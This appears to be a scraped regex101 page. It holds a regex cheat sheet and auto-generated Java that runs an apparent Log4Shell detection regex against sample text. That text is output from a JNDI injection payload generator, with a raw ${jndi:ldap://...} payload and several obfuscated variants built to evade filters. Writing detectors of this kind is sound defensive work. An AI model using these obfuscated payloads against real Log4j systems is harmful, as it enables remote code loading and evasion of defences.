Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "\\$\\{(\\$\\{(.*?:|.*?:.*?:-)('|\"|`)*(?1)\\}*|[jndi:lapsrm]('|\"|`)*\\}*){9,11}"; final String string = "[>] jndi inject model start...\n" + "[+] Raw payload:\n\n" + "${jndi:ldap://127.0.0.1:1099/obj}\n\n" + "[+] {[upper|lower]:x} Random obfuscate:\n\n" + "${${upper:j}ndi:ldap${lower::}//127${lower:.}${lower:0}.0.1${lower::}1${lower:0}9${lower:9}/ob${lower:j}}\n\n" + "[+] {[upper|lower]:x} all the obfuscate:\n\n" + "${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:l}${lower:d}${lower:a}${lower:p}${lower::}${lower:/}${lower:/}${lower:1}${lower:2}${lower:7}${lower:.}${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}${lower:0}${lower:9}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}\n\n" + "[+] {::-n} random obfuscate:\n\n" + "${jn${zwbIes:o:Bmmy:YGM:IoEt:-d}${nNJ:bP:LLecz:-i}${V:aTCz:SMYnf:nVwz:iWrhM:-:}l${IkcQG:KqY:DNlC:blYP:-d}${dMnno:LY:lm:o:gfceFK:-a}${YRLF:-p}${oPWM:tEf:Nm:B:gtF:-:}${Kw:-/}/12${oyBx:-7}.${fGURHq:jUkxp:LiRat:TFGT:-0}${RsEN:-.}${gqxRsv:-0}.${DP:A:zc:Bxk:-1}${Fgp:xnDqO:ymI:Ei:OiGvf:-:}109${BNuY:RNph:VQ:-9}${OEB:mqId:ShLsGJ:WGCQ:-/}o${JQ:ipL:PkyY:-b}j}\n\n" + "[+] {::-n} all the obfuscate:\n\n" + "${${w:Diwn:-j}${nefD:Xih:oCs:l:-n}${cFCwSi:AA:tOqrpE:-d}${fC:ap:uQ:jOT:Dw:-i}${lMK:HQnIQ:Tdn:MzzGN:-:}${dumM:-l}${d:wSdIa:Ot:-d}${XB:oktyjp:QTCl:-a}${KbVE:YOA:qRaof:z:nwv:-p}${XFMG:B:uz:gb:-:}${pBmmGn:waCidF:TXkIzf:-/}${bnb:Qi:vhQi:-/}${spw:t:Lgo:fmcGv:-1}${PvEYM:T:FpFw:c:C:-2}${Tzd:Sn:WXeQ:-7}${cg:xw:qoJuX:NVjaam:-.}${P:vkp:MP:YgX:DoHSm:-0}${jAO:i:zlpnK:aeGVI:YFHd:-.}${jDvpmy:xc:-0}${g:XCXx:yQImF:-.}${QQ:GYcUYC:-1}${CON:XEI:EcX:REGEIc:-:}${ipIDmp:jVt:-1}${LHjMhu:liwEPU:qFQRj:PL:-0}${nUfCc:TKhXP:Slx:IY:-9}${cbEh:vz:Szv:-9}${eFAO:F:-/}${fqUl:EElTW:Jbm:e:WOJDWw:-o}${CewNm:arlr:-b}${DULc:DFbNv:JMEG:i:-j}}\n\n" + "[=] jndi inject model stop\n"; final Pattern pattern = Pattern.compile(regex, Pattern.MULTILINE); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html